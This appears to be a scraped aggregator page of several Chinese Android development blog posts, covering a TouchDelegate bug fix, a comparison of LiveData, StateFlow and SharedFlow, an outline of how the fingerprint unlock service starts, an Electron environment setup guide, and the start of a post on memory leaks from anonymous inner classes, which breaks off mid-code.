public boolean onTouchEvent(MotionEvent event) {
// ……
boolean sendToDelegate = false;
boolean handled = false;
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
Rect bounds = mBounds;
if (bounds.contains(x, y)) {
mDelegateTargeted = true;
sendToDelegate = true;
} // if的判断为false时未重置 mDelegateTargeted 的值为false
break;
// ……
if (sendToDelegate) {
// 转发代理view
handled = delegateView.dispatchTouchEvent(event);
}
return handled;
// ……
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
如果需要兼容低版本,则可以继承自TouchDelegate,覆写 onTouchEvent方法,在事件不在代理范围内时,重置mDelegateTargeted 和sendToDelegate值为false,如下:

……
if (bounds.contains(x, y)) {
mDelegateTargeted = true;
sendToDelegate = true;
} else {
mDelegateTargeted = false;
sendToDelegate = false;
}
// 或者如9.0之后源码的写法
mDelegateTargeted = mBounds.contains(x, y);
sendToDelegate = mDelegateTargeted;
……
-----------------------------------
©著作权归作者所有:来自51CTO博客作者百度Geek说的原创作品,请联系作者获取转载授权,否则将追究法律责任
百度程序员Android开发小技巧
https://blog.51cto.com/u_15082365/5305270

收起阅读 »

不做跟风党,LiveData,StateFlow,SharedFlow 使用场景对比

Android 中加载 UI 数据不是一件轻松的事,开发者经常需要处理各种边界情况。如各种生命周期和因为「配置更改」导致的 Activity 的销毁与重建。因此普遍处理方式是使用分层的架构。这样开发者就可以编写独立于 UI 的代码,而无需过多考虑生命周期,配...
继续阅读 »

Android 常用的分层架构

Android 中加载 UI 数据不是一件轻松的事,开发者经常需要处理各种边界情况。如各种生命周期和因为「配置更改」导致的 Activity 的销毁与重建。

「配置更改」的场景有很多:屏幕旋转,切换至多窗口模式,调整窗口大小,浅色模式与暗黑模式的切换,更改默认语言,更改字体大小等等

因此普遍处理方式是使用分层的架构。这样开发者就可以编写独立于 UI 的代码,而无需过多考虑生命周期,配置更改等场景。 例如,我们可以在表现层(Presentation Layer)的基础上添加一个领域层(Domain Layer) 来保存业务逻辑,使用数据层(Data Layer)对上层屏蔽数据来源(数据可能来自远程服务,可能是本地数据库)。

img

表现层可以分成具有不同职责的组件:

  • View:处理生命周期回调,用户事件和页面跳转,Android 中主要是 Activity 和 Fragment

  • Presenter 或 ViewModel:向 View 提供数据,并不了解 View 所处的生命周期,通常生命周期比 View 长

Presenter 和 ViewModel 向 View 提供数据的机制是不同的,简单来说:

  • Presenter 通过持有 View 的引用并直接调用操作 View,以此向 View 提供数据

  • ViewModel 通过将可观察的数据暴露给观察者来向 View 提供数据

官方提供的可观察的数据 组件是 LiveData。Kotlin 1.4.0 正式版发布之后,开发者有了新的选择:StateFlowSharedFlow

最近网上流传出「LiveData 被弃用,应该使用 Flow 替代 LiveData」的声音。

LiveData 真的有那么不堪吗?Flow 真的适合你使用吗?

不人云亦云,只求接近真相。我们今天来讨论一下这两种组件。

ViewModel + LiveData

为了实现高效地加载 UI 数据,获得最佳的用户体验,应实现以下目标:

  • 目标1:已经加载的数据无需在「配置更改」的场景下再次加载

  • 目标2:避免在非活跃状态(不是 STARTEDRESUMED)下加载数据和刷新 UI

  • 目标3:「配置更改」时不会中断的工作

Google 官方在 2017 年发布了架构组件库:使用 ViewModel + LiveData 帮助开发者实现上述目标。

img

相信很多人在官方文档中见过这个图,ViewModelActivity/Fragment 的生命周期更长,不受「配置更改」导致 Activity/Fragment 重建的影响。刚好满足了目标 1 和目标 3。

LiveData 是可生命周期感知的。 新值仅在生命周期处于 STARTEDRESUMED 状态时才会分配给观察者,并且观察者会自动取消注册,避免了内存泄漏。 LiveData 对实现目标 1 和 目标 2 很有用:它缓存其持有的数据的最新值,并将该值自动分派给新的观察者。

LiveData 的特性

既然有声音说「LiveData 要被弃用了」,那么我们先对 LiveData 进行一个全面的了解。聊聊它能做什么,不能做什么,以及使用过程中有哪些要注意的地方。

LiveData 是 Android Jetpack Lifecycle 组件中的内容。属于官方库的一部分,Kotlin/Java 均可使用。

一句话概括 LiveDataLiveData 是可感知生命周期的,可观察的,数据持有者

它的能力和作用很简单:更新 UI

它有一些可以被认为是优点的特性:

  • 观察者的回调永远发生在主线程

  • 仅持有单个且最新的数据

  • 自动取消订阅

  • 提供「可读可写」和「仅可读」两个版本收缩权限

  • 配合 DataBinding 实现「双向绑定」

观察者的回调永远发生在主线程

这个很好理解,LiveData 被用来更新 UI,因此 ObserveronChanged() 方法在主线程回调。

img

背后的原理也很简单,LiveDatasetValue() 发生在主线程(非主线程调用会抛异常,postValue() 内部会切换到主线程调用 setValue())。之后遍历所有观察者的 onChanged() 方法。

仅持有单个且最新的数据

作为数据持有者(data holder),LiveData 仅持有 单个最新 的数据。

单个且最新,意味着 LiveData 每次持有一个数据,并且新数据会覆盖上一个。

这个设计很好理解,数据决定了 UI 的展示,绘制 UI 时肯定要使用最新的数据,「过时的数据」应该被忽略。

配合 Lifecycle,观察者只会在活跃状态下(STARTEDRESUMED)接收到 LiveData 持有的最新的数据。在非活跃状态下绘制 UI 没有意义,是一种资源的浪费。

自动取消订阅

这是 LiveData 可感知生命周期的重要表现,自动取消订阅意味着开发者无需手动写那些取消订阅的模板代码,降低了内存泄漏的可能性。

背后原理是在生命周期处于 DESTROYED 时,移除观察者。

img

提供「可读可写」和「仅可读」两个版本

img

public abstract class LiveData<T> {
@MainThread
protected void setValue(T value) {
// ...
}

protected void postValue(T value) {
// ...
}

@Nullable
public T getValue() {
// ...
}
}

public class MutableLiveData<T> extends LiveData<T> {
@Override
public void postValue(T value) {
super.postValue(value);
}
@Override
public void setValue(T value) {
super.setValue(value);
}
}

抽象类 LiveDatasetValue()postValue() 是 protected,而其实现类 MutableLiveData 均为 public。

LiveData 提供了 mutable(MutableLiveData) 和 immutable(LiveData) 两个类,前者「可读可写」,后者「仅可读」。通过权限的细化,让使用者各取所需,避免由于权限泛滥导致的数据异常。

img

class SharedViewModel : ViewModel() {
private val _user : MutableLiveData<User> = MutableLiveData()

val user : LiveData<User> = _user

fun setUser(user: User) {
_user.posetValue(user)
}
}

配合 DataBinding 实现「双向绑定」

LiveData 配合 DataBinding 可以实现 更新数据自动驱动 UI 变化,如果使用「双向绑定」还能实现 UI 变化影响数据的变化。


以下也是 LiveData 的特性,但我不会将其归类为「设计缺陷」或「LiveData 的缺点」。作为开发者应了解这些特性并在使用过程中正确处理它们。

  • value 是 nullable 的

  • 在 fragment 订阅时需要传入正确的 lifecycleOwner

  • LiveData 持有的数据是「事件」时,可能会遇到「粘性事件

  • LiveData 是不防抖的

  • LiveDatatransformation 工作在主线程

value 是 nullable 的

img

@Nullable
public T getValue() {
Object data = mData;
if (data != NOT_SET) {
return (T) data;
}
return null;
}

LiveData#getValue() 是可空的,使用时应该注意判空。

使用正确的 lifecycleOwner

fragment 调用 LiveData#observe() 方法时传入 thisviewLifecycleOwner 是不一样的。

原因之前写过,此处不再赘述。感兴趣的小伙伴可以移步查看

AS 在 lint 检查时会避免开发者犯此类错误。

img

粘性事件

官方在 [] 在 SnackBar,Navigation 和其他事件中使用 LiveData(SingleLiveEvent 案例) 一文中描述了一种「数据只会消费一次」的场景。如展示 Snackbar,页面跳转事件或弹出 Dialog。

由于 LiveData 会在观察者活跃时将最新的数据通知给观察者,则会产生「粘性事件」的情况。

如点击 button 弹出一个 Snackbar,在屏幕旋转时,lifecycleOwner 重建,新的观察者会再次调用 Livedata#observe(),因此 Snackbar 会再次弹出。

解决办法是:将事件作为状态的一部分,在事件被消费后,不再通知观察者。这里推荐两种解决方案:

默认不防抖

setValue()/postValue() 传入相同的值多次调用,观察者的 onChanged() 会被多次调用。

严格讲这不算一个问题,看具体的业务场景,处理也很容易,官方在 Transformations 中提供了 distinctUntilChanged() 方法,配合官方提供的扩展函数,如下使用即可:

img

override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)

viewModel.headerText.distinctUntilChanged().observe(viewLifecycleOwner) {
header.text = it
}
}

transformation 工作在主线程

有些时候我们从 repository 层拿到的数据需要进行处理,例如从数据库获得 User List,我们想根据 id 获取某个 User。

此时我们可以借助 MediatorLiveDataTransformatoins 来实现:

img

class MainViewModel {
val viewModelResult = Transformations.map(repository.getDataForUser()) { data ->
convertDataToMainUIModel(data)
}
}

mapswitchMap 内部均是使用 MediatorLiveData#addSource() 方法实现的,而该方法会在主线程调用,使用不当会有性能问题。

img

@MainThread
public <S> void addSource(@NonNull LiveData<S> source, @NonNull Observer<? super S> onChanged) {
Source<S> e = new Source<>(source, onChanged);
Source<?> existing = mSources.putIfAbsent(source, e);
if (existing != null && existing.mObserver != onChanged) {
throw new IllegalArgumentException(
"This source was already added with the different observer");
}
if (existing != null) {
return;
}
if (hasActiveObservers()) {
e.plug();
}
}

我们可以借助 Kotlin 协程和 RxJava 实现异步任务,最后在主线程上返回 LiveData。如 androidx.lifecycle:lifecycle-livedata-ktx 提供了这样的写法

img

val result: LiveData<Result> = liveData {
val data = someSuspendingFunction() // 协程中处理
emit(data)
}

LiveData 小结

  • LiveData 作为一个 可感知生命周期的,可观察的,数据持有者,被设计用来更新 UI

  • LiveData 很轻,功能十分克制,克制到需要配合 ViewModel 使用才能显示其价值

  • 由于 LiveData 专注单一功能,因此它的一些方法使用上是有局限性的,即通过设计来强制开发者按正确的方式编码(如观察者仅在主线程回调,避免了开发者在子线程更新 UI 的错误操作)

  • 由于 LiveData 专注单一功能,如果想在表现层之外使用它,MediatorLiveData 的操作数据的能力有限,仅有的 mapswitchMap 发生在主线程。可以在 switchMap 中使用协程或 RxJava 处理异步任务,最后在主线程返回 LiveData。如果项目中使用了 RxJavaAutoDispose,甚至可以不使用 LiveData,关于 Kotlin 协程的 Flow,我们后文介绍。

  • 笔者不喜欢将 LiveData 改造成 bus 使用,让组件做其分内的事(此条属于个人观点)

Flow

Flow 是 Kotlin 语言提供的功能,属于 Kotlin 协程的一部分,仅 Kotlin 使用。

Kotlin 协程被用来处理异步任务,而 Flow 则是处理异步数据流。

那么 suspend 方法和 Flow 的区别是什么?各自的使用场景是哪些?

一次性调用(One-shot Call)与数据流(data stream)

img

假如我们的 app 的某一屏里显示以下元素,其中红框部分实时性不高,不必很频繁的刷新,转发和点赞属于实时性很高的数据,需要定时刷新。

img

对于实时性不高的数据,我们可以使用 Kotlin 协程处理(此处数据的请求是异步任务):

suspend fun loadData(): Data

uiScope.launch {
 val data = loadData()
 updateUI(data)
}

而对于实时性较高的数据,挂起函数就无能为力了。有的小伙伴可能会说:「返回个 List 不就行了嘛」。其实无论返回什么类型,这种操作都是 One-shot Call,一次性的请求,有了结果就结束。

示例中的点赞和转发,需要一个 数据是异步计算的,能够 按顺序 提供 多个值 的结构,在 Kotlin 协程中我们有 Flow。

fun dataStream(): Flow<Data>

uiScope.launch {
 dataStream().collect { data ->
    updateUI(data)
}
}

当点赞或转发数发生变化时,updateUI() 会被执行,UI 根据最新的数据更新

Flow 的三驾马车

FLow 中有三个重要的概念:

  • 生产者(Producer)

  • 消费者(Consumer)

  • 中介(Intermediaries)

生产者提供数据流中的数据,得益于 Kotlin 协程,Flow 可以 异步地生产数据

消费者消费数据流内的数据,上面的示例中,updateUI() 方法是消费者。

中介可以对数据流中的数据进行更改,甚至可以更改数据流本身,我们可以借助官方视频中的动画来理解:

img

在 Android 中,数据层的 DataSource/Repository 是 UI 数据的生产者;而 view/ViewModel 是消费者;换一个角度,在表现层中,view 是用户输入事件的生产者(例如按钮的点击),其它层是消费者。

「冷流」与「热流」

你可能见过这样的描述:「流是冷的」

img

简单来说,冷流指数据流只有在有消费者消费时才会生产数据。

val dataFlow = flow {
   // 代码块只有在有消费者 collect 后才会被调用
   val data = dataSource.fetchData()
   emit(data)
}

...

dataFlow.collect { ... }

有一种特殊的 Flow,如 StateFlow/SharedFlow ,它们是热流。这些流可以在没有活跃消费者的情况下存活,换句话说,数据在流之外生成然后传递到流。

BroadcastChannel` 未来会在 Kotlin 1.6.0 中弃用,在 Kotlin 1.7.0 中删除。它的替代者是 `StateFlow`  `SharedFlow

StateFlow

StateFlow 也提供「可读可写」和「仅可读」两个版本。

SateFlow` 实现了 `SharedFlow`,`MutableStateFlow` 实现 `MutableSharedFlow

img

StateFlowLiveData 十分像,或者说它们的定位类似。

StateFlowLiveData 有一些相同点:

  • 提供「可读可写」和「仅可读」两个版本(StateFlowMutableStateFlow

  • 它的值是唯一的

  • 它允许被多个观察者共用 (因此是共享的数据流)

  • 它永远只会把最新的值重现给订阅者,这与活跃观察者的数量是无关的

  • 支持 DataBinding

它们也有些不同点:

  • 必须配置初始值

  • value 空安全

  • 防抖

MutableStateFlow 构造方法强制赋值一个非空的数据,而且 value 也是非空的。这意味着 StateFlow 永远有值

img

StateFlow 的 emit()tryEmit() 方法内部实现是一样的,都是调用 setValue()

StateFlow 默认是防抖的,在更新数据时,会判断当前值与新值是否相同,如果相同则不更新数据。

img

SharedFlow

SateFlow 一样,SharedFlow 也有两个版本:SharedFlowMutableSharedFlow

img

那么它们有什么不同?

  • MutableSharedFlow 没有起始值

  • SharedFlow 可以保留历史数据

  • MutableSharedFlow 发射值需要调用 emit()/tryEmit() 方法,没有 setValue() 方法

img

MutableStateFlow 不同,MutableSharedFlow 构造器中是不能传入默认值的,这意味着 MutableSharedFlow 没有默认值。

val mySharedFlow = MutableSharedFlow<Int>()
val myStateFlow = MutableStateFlow<Int>(0)
...
mySharedFlow.emit(1)
myStateFlow.emit(1)

SateFlowSharedFlow 还有一个区别是 SateFlow 只保留最新值,即新的订阅者只会获得最新的和之后的数据。

SharedFlow 根据配置可以保留历史数据,新的订阅者可以获取之前发射过的一系列数据。

后文会介绍背后的原理

它们被用来应对不同的场景:UI 数据是状态还是事件

状态(State)与事件(Event)

状态可以是的 UI 组件的可见性,它始终具有一个值(显示/隐藏)

而事件只有在满足一个或多个前提条件时才会触发,不需要也不应该有默认值

为了更好地理解 SateFlowSharedFlow 的使用场景,我们来看下面的示例:

  1. 用户点击登录按钮

  2. 调用服务端验证登录合法性

  3. 登录成功后跳转首页

我们先将步骤 3 视为 状态 来处理:

img

使用状态管理还有与 LiveData 一样的「粘性事件」问题,如果在 ViewNavigationState 中我们的操作是弹出 snackbar,而且已经弹出一次。在旋转屏幕后,snackbar 会再次弹出。

img

如果我们将步骤 3 作为 事件 处理:

img

使用 SharedFlow 不会有「粘性事件」的问题,MutableSharedFlow 构造函数里有一个 replay 的参数,它代表着可以对新订阅者重新发送多个之前已发出的值,默认值为 0。

img

SharedFlow 在其 replayCache 中保留特定数量的最新值。每个新订阅者首先从 replayCache 中取值,然后获取新发射的值。replayCache 的最大容量是在创建 SharedFlow 时通过 replay 参数指定的。replayCache 可以使用 MutableSharedFlow.resetReplayCache 方法重置。

replay 为 0 时,replayCache size 为 0,新的订阅者获取不到之前的数据,因此不存在「粘性事件」的问题。

StateFlowreplayCache 始终有当前最新的数据:

img

至此, StateFlowSharedFlow 的使用场景就很清晰了:

状态(State)用 StateFlow ;事件(Event)用 SharedFlow

StateFlow,SharedFlow 与 LiveData 的使用对比

LiveData StateFlow SharedFlow 在 ViewModel 中的使用

上图分别展示了 LiveDataStateFlowSharedFlowViewModel 中的使用。

其中 LiveDataViewModel 中使用 EventLiveData 处理「粘性事件

FlowViewModel 中使用 SharedFlow 处理「粘性事件

emit()` 方法是挂起函数,也可以使用 `tryEmit()

LiveData StateFlow SharedFlow 在 Fragment 中的使用

注意:Flow 的 collect 方法不能写在同一个 lifecycleScope

flowWithLifecyclelifecycle-runtime-ktx:2.4.0-alpha01 后提供的扩展方法

Flow 在 fragment 中的使用要比 LiveData 繁琐很多,我们可以封装一个扩展方法来简化:

img

关于 repeatOnLifecycle 的设计问题,可以移步 设计 repeatOnLifecycle API 背后的故事

使用 collect 方法时要注意一个问题。

img

这种写法是错误的!

viewModel.headerText.collect 在协程被取消前会一直挂起,这样后面的代码便不会执行。

Flow 与 RxJava

FlowRxJava 的定位很接近,限于篇幅原因,此处不展开讲,本节只罗列一下它们的对应关系:

  • Flow = (cold) Flowable / Observable / Single

  • Channel = Subjects

  • StateFlow = BehaviorSubjects (永远有值)

  • SharedFlow = PublishSubjects (无初始值)

  • suspend function = Single / Maybe / Completable

参考文档与推荐资源

总结

  • LiveData 的主要职责是更新 UI,要充分了解其特性,合理使用

  • Flow 可分为生产者,消费者,中介三个角色

  • 冷流和热流最大的区别是前者依赖消费者 collect 存在,而热流一直存在,直到被取消

  • StateFlowLiveData 定位相似,前者必须配置初始值,value 空安全并且默认防抖

  • StateFlowSharedFlow 的使用场景不同,前者适用于「状态」,后者适用于「事件」

回到文章开头的话题,LiveData 并没有那么不堪,由于其作用单一,功能简单,简单便意味着不易出错。所以在表现层中ViewModel 向 view 暴露 LiveData 是一个不错的选择。而在 RepositoryDataSource 中,我们可以利用 LiveData + 协程来处理数据的转换。当然,我们也可以使用功能更强大的 Flow

LiveDataStateFLowSharedFlow,它们都有着各自的使用场景。并且如果使用不当,都会或多或少地遇到一些所谓的「坑」。因此在使用某个组件时,要充分了解其设计缘由以及相关特性,否则就会掉进陷阱,收到不符合预期的行为。

关于我

人总是喜欢做能够获得正反馈(成就感)的事情,如果感觉本文内容对你有帮助的话,麻烦点亮一下👍,这对我很重要哦~

我是 Flywith24人只有通过和别人的讨论,才能知道我们自己的经验是否是真实的,加我微信交流,让我们共同进步。


作者:Flywith24
来源:https://juejin.cn/post/7007602776502960165

收起阅读 »

指纹解锁分析

systemServer进程会在ZygoteInit中进行创建,而ZygoteInit是Zygote进程启动的。 在systemServer进程的run方法中会启动重要服务其中就包括指纹解锁相对应的服务。 指纹解锁需要和Hal层进行交互,并对上层framewr...
继续阅读 »

systemServer进程会在ZygoteInit中进行创建,而ZygoteInit是Zygote进程启动的。


在systemServer进程的run方法中会启动重要服务其中就包括指纹解锁相对应的服务。
指纹解锁需要和Hal层进行交互,并对上层framewrok提供接口以实现解锁功能


整体流程可以大致分为:


1.SystemServer中调用startOtherService方法根据设备支持的功能启动对应的服务
该例中如果设备支持指纹解锁就执行接下来的方法:
启动指纹解锁对应的Service,也就是FingerprintService这个类


startOtherService方法:
image.png


startService:
image.png


2.可以看到会反射创建这个类的构造方法并把它添加到services中,接着执行这个类的onStart方法


image.png


FingerprintService这个类的onStart方法
image.png
3.FingerprintService这个类的onStart方法中可以看到创建了一个 FingerprintServiceWrapper()这个类。


发布服务保存在SystemServer中,可以看到这个服务对应的接口是
IFingerprintService.Stub


image.png


image.png


可以看到是在用了个线程池在调用这个run方法,接下来去看看这个Runnable接口做了什么操作
image.png


getFingerprintDaemon函数首先调用getService函数不断尝试链接HAL层的进程(IBiometricsFingerprint这个服务是在HAL层初始化的之后讲解),链接成功之后调用setNotify设置回调函数,最后加载用户相关数据。至此,Framework层已经启动完成。


image.png


BiometricsFingerprint


上面讲到FrameWork中会获取BiometricsFingerprint这个服务,这个服务是在哪个地方初始化的呢?


首先需要讲下Android.bp文件:



Android.bp的出现就是为了替换Android.mk文件,随着Android越来越庞大,module越来越多,编译时间也越来越长,而使用ninja在编译的并发处理上较make有很大的提升。Ninja的配置文件就是Android.bp,Android系统使用Blueprint和Soong工具来解析Android.bp转换生成ninja文件



详细内容及自定义文件可参考这篇博客 Android.bp文件详解


这里首先看下一些配置信息
这是一些注释信息:



cc_library_shared :编译成动态库,类似于Android.mk中的BUILD_SHARED_LIBRARY
cc_binary:编译成可执行文件,类似于Android.mk中的BUILD_EXECUTABLE
name :编译出的模块的名称,类似于Android.mk中的LOCAL_MODULE
srcs:源文件,类似于Android.mk中的LOCAL_SRC_FILES
local_include_dirs:指定路径查找头文件,类似于Android.mk中的LOCAL_C_INCLUDES
shared_libs:编译所依赖的动态库,类似于Android.mk中的LOCAL_SHARED_LIBRARIES
static_libs:编译所依赖的静态库,类似于Android.mk中的LOCAL_STATIC_LIBRARIES
cflags:编译flag,类似于Android.mk中的LOCAL_CFLAGS



image.png


Service.cpp是HAL层启动的入口文件。


1.首先通过BiometricsFingerprint::getInstance()实例化一个bio服务,不同厂商的指纹识别算法和逻辑也都在这个bibo服务中体现出来。这个方法里面会进行初始化HAL层关于指纹的一些初始化动作最后讲


2.接着设置用于RPC通信的线程数


3.接着把自己添加到线程池中,用于之后framework获取进行返回bibo服务


image.png


BiometricsFingerprint::getInstance()


该函数单利创建出来一个BiometricsFingerprint对象,接着看他的构造方法


image.png


BiometricsFingerprint构造方法,可以看到调用了openHal方法。
image.png
1.openHal方法第一步首先打开指纹HW模块,也就是获取厂商指纹模组的so



hw_get_module(FINGERPRINT_HARDWARE_MODULE_ID, &hw_mdl)



image.png


2.接着调用open方法


image.png


image.png


3.这个open方法主要是将厂商指纹模组模块的算法识别逻辑结果和HAL层进行绑定,设置回调通知。


image.png


大致流程:


首先将framework中的指纹解锁Service启动接着去获取HAL层的指纹解锁服务Service。
framework层的Service主要用于和HAL层进行通信(获取HAL层的Service)
HAL层的Service收到后会使用厂商自定义的指纹模组so模块对应的逻辑去判断是否是本人
最后结果在给到framework层响应

作者:北洋
来源:https://juejin.cn/post/7090362782767546398
收起阅读 »

Android自动生成代码,可视化脚手架之环境搭建

系列文章Github开源地址(源码及各项资料不间断进行更新):github.com/AbnerMing88…Hello,各位老铁,系列文章上一篇,简单大概熟悉了一下基本的功能,当然了这只是其中的一部分,随着需求的增加,各种方便我们日常开发的功能都会研发出来,那...
继续阅读 »

系列文章Github开源地址(源码及各项资料不间断进行更新):

github.com/AbnerMing88…

Hello,各位老铁,系列文章上一篇,简单大概熟悉了一下基本的功能,当然了这只是其中的一部分,随着需求的增加,各种方便我们日常开发的功能都会研发出来,那么对于这样的一个可视化工具,我们该如何开发出来呢?又需要掌握什么技术呢?环境如何搭建呢?这篇,咱们就简单的聊一聊。

可能很多老铁有疑问,为什么不直接以插件的形式在Android Studio中使用呢,这样直接IDE中就可以操作了,也不用再打开其他工具了,岂不是更方便,哎!小老弟,一开始我就是整的插件,还写了好几个功能,但有一个致命的问题是,视图的绘制,贼麻烦,大家感兴趣的可以试试,多个控件的摆放,还有,拖拽View的实现,亲自操刀试试就知道了,正因为各个视图的绘制比较麻烦,最终才选择了可视化工具的开发。

目前可视化工具采用的是Electron进行开发的,Electron 是一个使用 JavaScript、HTML 和 CSS 构建跨平台的桌面应用程序,它基于 Node.js 和 Chromium,被 Atom 编辑器和许多其他应用程序使用,也就是说使用Electron,您必须有一定的web开发经验,如果没有也没关系,后续您可以直接在我的模板中进行对应的修改即可,当然了,为了能够自己灵活的可视化,建议还是掌握一些Web的经验,编程语言之间的语法,基本互通,学起来也比较容易。

对于Electron,网上流传着一些风言风语,说微软要放弃Electron了,这里简单辟谣一下,微软自始至终,就没有放弃Electron,也不会放弃Electron,只是旗下的Teams产品打算把Electron框架换成WebView2而已,况且微软内部有很多软件都是基于Electron开发的,比如VSCode和GitHubDesktop,不仅仅是只有Teams这么一个产品在用它,非但微软内部,包括Facebook、MongoDB、twitch、Slack、迅雷、字节跳动、阿里、拼多多、京东等大企业都在用这个框架,这么一个好东西,微软怎么会放弃它呢?所以,各位老铁,不要在听信网上的谣言了,桌面开发工具Electron,兼容 Mac、Windows 和 Linux,可以构建出三个平台的应用程序,学起来,指定没错!

Electron官网:http://www.electronjs.org/

关于Electron的教程,网上一搜一大堆,咱们言简意赅,直奔主题,老铁们,跟好脚步,我们发车!

1、安装 Node.js

别问为什么,问就是,Electron开发依赖Node.js,因为Node.js中允许使用 JavaScript 开发服务端以及命令行程序,我们可以去官网nodejs.org下载最新版本的安装程序,也可以下载我给大家准备好的安装包,都在上面github开源地址中。

下载后,怎么安装,就不用我来教了吧,一路一路下一步,中间会有个选择安装路径,这个尽量自己选一个,不要用默认的,安装完成后会自动配置环境变量,如果没有配置,那就需要自己去环境变量下配置一下:

自己配置的话,首先找到你的安装路径,复制一下:


然后配置到环境变量里,以windows为例子


一切搞定之后,打开命令窗口,输入node -v,检验下是否安装成功,回显当前版本,证明安装成功!


2、安装 Electron

打开命令窗口,输入下面命令:

npm install -g electron

下载慢的话,可以先执行下面的命令,electron安装包指向淘宝的镜像

npm config set electron_mirror "https://npm.taobao.org/mirrors/electron/"

等待安装完成之后,在命令行输入electron -v能够显示版本号代表安装成功。


如果想删除 Electron,可以使用下面的命令。

npm uninstall electron

如果想升级 Electron,则可以使用这个命令。

npm update electron -g

大家也可以指定版本进行安装,有一些版本升高之后,会有一些兼容性问题,目前,我的版本是15.0.0,大家可以和我保持一致。

cnpm install electron@^15.0.0 -g

以上两步执行完毕之后,环境就搭建完毕,剩下的就是愉快的敲代码时刻。

搞一个Hello,World!

随便找一个空的文件夹,进入到目录下,执行下面的命令,或者在命令窗口找到你的目录,都行

npm init 
npm install --save-dev electron 或者安装制定版本 npm install --save-dev electron@^15.0.0

如下图,我新建的一个code目录:


进入到当前目录命令下,执行上面的命令:


当执行npm init时,会按照步骤,让输入很多东西,如果你不想一步一步输入,每次直接回车即可,反正也是可以修改的。

如果想进行一步一步输入,具体流程如下,中间不想输入,可以回车略过:

package name 包名,也就是工程名,默认是括号中的内容 
version:版本号,默认是括号中的内容
description:描述信息
entry point:入口文件名,默认是括号中的内容
test command:测试命令
git repository:git仓库地址
keywords: 密码
author: 作者名字
license: (ISC)许可证

我自己执行的程序如下:


执行完成之后,就会在你刚才选中的目录下,生成一个,package.json文件:


我们打开看一下,其实就是我们一步一步输入的内容:


接着我们在去执行第二个命令,我是选择指定版本进行安装的:


命令执行完毕后,会生成如下图所示:


node_modules,是安装node后,用来存放下载安装的包文件夹。

执行完命令之后,我们就可以书写主入口了,之前执行npm init命令时,有个主入口的输入,还记得吗,就是下面这个:


新建index.js文件


内容如下:

const { app, BrowserWindow } = require('electron')

function createWindow () {  
 // 创建浏览器窗口
 let win = new BrowserWindow({
   width: 800,
   height: 600,
   webPreferences: {
     nodeIntegration: true
  }
})

 // 加载index.html文件
 win.loadFile('index.html')
}

// 应用程序准备就绪后打开一个窗口
app.whenReady().then(createWindow)

紧接着新建一个index.js中对应的index.html文件:


内容如下:

<!DOCTYPE html>
<html>
 <head>
   <meta charset="UTF-8">
   <title>Android可视化工具</title>
 </head>
 <body>
   <h1>Hello,World!</h1>
 </body>
</html>

最后修改package.json,添加Electron运行时


回到目录下,打开命令窗口,执行npm start命令,如下图


执行命令之后,随之就会,弹出来一个可视化窗口,如下图:


ok,一个简单的Demo就完成了,是不是贼简单。

老铁们,第二章的内容,虽然有点多,但基本上都是些操作的步骤,环境的安装以及简单的项目运行,还是希望大家从头到尾的执行一遍,都是一些流程化的操作,并不是很难,下一章,我们讲讲述可视化工具的一些配置项,敬请期待!

作者:二流小码农
来源:https://juejin.cn/post/7090322746260848671

收起阅读 »

一个匿名内部类的导致内存泄漏的解决方案

泄漏原因匿名内部类默认会持有外部类的类的引用。如果外部类是一个Activity或者Fragment,就有可能会导致内存泄漏。 不过在使用kotlin和java中在匿名内部类中有一些不同。在java中,不论接口回调中是否调用到外部类,生成的匿名内部类都会持有外部...
继续阅读 »

泄漏原因

匿名内部类默认会持有外部类的类的引用。如果外部类是一个Activity或者Fragment,就有可能会导致内存泄漏。 不过在使用kotlin和java中在匿名内部类中有一些不同。

  • 在java中,不论接口回调中是否调用到外部类,生成的匿名内部类都会持有外部类的引用

  • 在kotlin中,kotlin有一些相关的优化,如果接口回调中不调用的外部类,那么生成的匿名内部类不会持有外部类的引用,也就不会造成内存泄漏。 反之,如果接口回调中调用到外部类,生成的匿名内部类就会持有外部类引用

我们可以看一个常见的例子:

class MainActivity : AppCompatActivity() {
  private lateinit var textView: TextView
  override fun onCreate(savedInstanceState: Bundle?) {
      super.onCreate(savedInstanceState)
      setContentView(R.layout.activity_main)
      textView = findViewById(R.id.text)
      test()
  }

  private fun test() {
      val client = OkHttpClient()
      val request = Request.Builder()
          .url("www.baidu.com")
          .build();
      client.newCall(request).enqueue(object : Callback {
          override fun onFailure(call: Call, e: IOException) {}
          override fun onResponse(call: Call, response: Response) {
              textView.text = "1111"
          }
      })
  }
}

在Activity的test方法,发起网络请求,在网络请求成功的回调中操作Activity的textView。当然在这个场景中,Callback返回的线程非主线程,不能够直接操作UI。为了简单的验证内存泄漏的问题,先不做线程切换。 可以看看对应编译后的字节码,这个callback会生成匿名内部类。

public final class MainActivity$test$1 implements Callback {
  final /* synthetic */ MainActivity this$0;

  MainActivity$test$1(MainActivity $receiver) {
      this.this$0 = $receiver;
  }

  public void onFailure(Call call, IOException e) {
      Intrinsics.checkNotNullParameter(call, NotificationCompat.CATEGORY_CALL);
      Intrinsics.checkNotNullParameter(e, "e");
  }

  public void onResponse(Call call, Response response) {
      Intrinsics.checkNotNullParameter(call, NotificationCompat.CATEGORY_CALL);
      Intrinsics.checkNotNullParameter(response, "response");
      TextView access$getTextView$p = this.this$0.textView;
      if (access$getTextView$p != null) {
          access$getTextView$p.setText("1111");
      } else {
          Intrinsics.throwUninitializedPropertyAccessException("textView");
          throw null;
      }
  }
}

默认生成了MainActivity$test$1辅助类,这个辅助类持有了外部Activity的引用。 当真正调用了enqueue时,会把这个请求添加请求的队列中。

private val readyAsyncCalls = ArrayDeque<AsyncCall>()
private val runningAsyncCalls = ArrayDeque<AsyncCall>()

网络请求处于等待中,callback会被添加到readyAsyncCalls队列中, 网络请求处于发起,但是未结束时,callback会被添加到runningAsyncCalls队列中。 只有网络请求结束之后,回调之后,才会从队列中移除。 当页面销毁时,网络请求未成功结束时,就会造成内存泄漏,整个引用链路如下图所示:


网络请求只是其中的一个例子,基本上所有的匿名内部类都可能会导致这个内存泄漏的问题。

解决方案

既然匿名内部类导致的内存泄漏场景这么常见,那么有没有一种通用的方案可以解决这类的问题呢?我们通过动态代理去解决匿名内部类导致的内存泄漏的问题。 我们把Activity和Fragment抽象为ICallbackHolder。

public interface ICallbackRegistry {
